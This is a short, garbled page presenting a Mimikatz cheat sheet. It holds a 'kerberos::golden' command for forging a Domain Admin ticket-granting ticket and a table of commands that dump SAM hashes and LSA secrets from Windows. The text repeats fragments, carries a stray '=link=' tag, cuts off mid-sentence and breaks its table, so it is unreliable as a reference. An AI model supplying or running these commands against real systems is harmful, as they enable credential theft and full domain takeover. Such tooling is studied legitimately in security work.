Mimikatz Cheatsheet =link=
kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21... /krbtgt: /id:500 — Forges a Ticket Granting Ticket (TGT) with Domain Admin rights.
This cheat sheet provides a basic overview of Mimikatz capabilities and commands. For detailed usage and advanced techniques, refer to the official documentation and cybersecurity blogs. mimikatz cheatsheet
Before running any commands, you must load Mimikatz and gain the necessary rights. kerberos::golden /user:Administrator /domain:example
These commands target different parts of the Windows authentication subsystem to find passwords or hashes. cached domain logons). |
| Command | Purpose | | :--- | :--- | | lsadump::sam | Dumps local SAM hashes (NTLM) from the registry. | | lsadump::sam /sam:FILE /system:FILE | Dump SAM from saved hive files (offline). | | lsadump::secrets | Dumps secrets from the SECURITY registry (e.g., cached domain logons). |